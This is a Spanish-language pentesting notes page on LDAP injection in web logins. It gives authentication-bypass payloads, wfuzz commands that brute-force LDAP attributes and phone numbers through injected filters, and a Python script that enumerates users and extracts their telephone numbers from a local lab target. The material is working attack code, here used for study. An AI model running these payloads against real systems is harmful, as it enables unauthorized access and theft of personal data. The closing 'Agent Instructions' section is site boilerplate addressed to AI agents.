> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md).

# Técnicas LDAP

Aquí hay algunas formas de explotar esta vulnerabilidad:

1. Conociendo el **ID de usuario** y usando el símbolo /\* como contraseña (que representa todo):

<figure><img src="/files/96031644b9c392b31cfa1b91053d0f6f07707acf" alt="" width="517"><figcaption></figcaption></figure>

2. Conociendo el **inicio del ID de usuario** y añadiendo luego el símbolo /\*:

<figure><img src="/files/e616e26507464a4799ffb74bf4f921a4ac415a33" alt=""><figcaption></figcaption></figure>

3. Introduciendo un **ID de usuario válido** y comentando el campo requerido de la consulta de contraseña:

<figure><img src="/files/e93b02d85c99f96976db527db85838e939808327" alt=""><figcaption></figcaption></figure>

## Ataque de fuerza bruta:

* Con **Wfuzz**, podemos lanzar un ataque mediante **fuerza bruta** para identificar todos los **atributos**:

```bash
wfuzz -c --hh=550 -w /usr/share/SecLists/Fuzzing/LDAP-openldap-attributes.txt -d 'user_id=admin)(FUZZ=*))%00&password=*&login=1&submit=Submit' http://localhost:8888

```

<figure><img src="/files/22a211fe5f77c2db94c73b949f420e2d2c491837" alt="" width="375"><figcaption></figcaption></figure>

Una vez que conocemos los atributos con **Wfuzz** y identificamos el **LDAP** punto de inyección en el campo de contraseña, podemos filtrar por el primer carácter. En este caso, lo hacemos con el **número de teléfono**:

```bash
wfuzz -c --hh=550 -z range,0-9 -d 'user_id=jordan)(telephoneNumber=FUZZ*))%00&password=*&login=1&submit=Submit' http://localhost:8888

```

<figure><img src="/files/3824ce3e51a6935aa810a5f97f62f6fb3f3e8ac5" alt="" width="507"><figcaption></figcaption></figure>

## Script automatizado en Python:

```python
#!/usr/bin/python3
from pwn import *
import sys, signal, time, requests, pdb
import string
def def_handler(sig, frame):
    print("/n/n[+] Saliendo.../n")
    sys.exit(1)
# Técnicas LDAP
signal.signal(signal.SIGINT, def_handler)
# Técnicas LDAP
main_url = "http://localhost:8888/"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
def initial_users():
    characters = string.ascii_lowercase
    initial_users = []
    for character in characters:
        post_data = 'user_id={}*&password=*&login=1&submit=Submit'.format(character)
        r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
        if r.status_code == 301:
            initial_users.append(character)
    return initial_users
def getUsers(initial_users):
    characters = string.ascii_lowercase + string.digits
    users = []
    for initial_user in initial_users:
        user = initial_user
        for i in range(0, 15):
            for character in characters:
                post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)
                r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
                if r.status_code == 301:
                    user += character
                    break
        users.append(user)
    print("/n")
    for user in users:
        log.info('Usuario válido encontrado: %s' % user)
    print("/n")
    return users
def getTelephoneNumber(users):
    characters = string.digits
    telephone_numbers = []
    p1 = log.progress("Obteniendo números de teléfono desde LDAP local")
    p1.status("Iniciando la fuerza bruta")
    p2 = log.progress("Obteniendo el número de teléfono")
    for user in users:
        telf = ''
        for i in range(0, 9):
            for character in characters:
                post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)
                r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)
                p1.status("[+] Obteniendo el número de teléfono del usuario: %s | %s" % (user, post_data))
                if r.status_code == 301:
                    telf += character
                    p2.status("Número de teléfono: %s" % telf)
                    break
        telephone_numbers.append(telf)
    p2.success("Los números obtenidos son: %s " % telephone_numbers)
if __name__ == "__main__":
    initial_users = initial_users()
    getUsers = getUsers(initial_users)
    getTelephoneNumber = getTelephoneNumber(getUsers)

```

<figure><img src="/files/b3a5b36ae5c69eb411e985b28cb4332162460624" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
